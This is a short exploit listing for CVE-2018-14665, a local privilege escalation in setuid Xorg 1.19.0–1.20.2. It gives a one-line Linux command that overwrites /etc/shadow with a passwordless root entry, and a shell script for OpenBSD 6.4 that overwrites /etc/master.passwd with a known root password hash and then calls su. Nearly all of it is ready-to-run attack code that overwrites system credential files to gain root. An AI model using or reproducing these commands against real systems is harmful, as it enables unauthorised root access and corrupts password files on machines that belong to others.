xorg-x11-server Local Privilege Escalation

`#CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet  
  
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su  
  
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.  
  
  
  
  
  
#!/bin/sh  
# local privilege escalation in X11 currently  
# unpatched in OpenBSD 6.4 stable - exploit  
# uses cve-2018-14665 to overwrite files as root.   
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid  
# and vulnerable in default OpenBSD.  
#  
# - https://hacker.house  
echo [+] OpenBSD 6.4-stable local root exploit  
cd /etc  
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &  
sleep 5  
pkill Xorg  
echo [-] dont forget to mv and chmod /etc/master.passwd.old back   
echo [+] type 'Password1' and hit enter for root  
su -  
  
`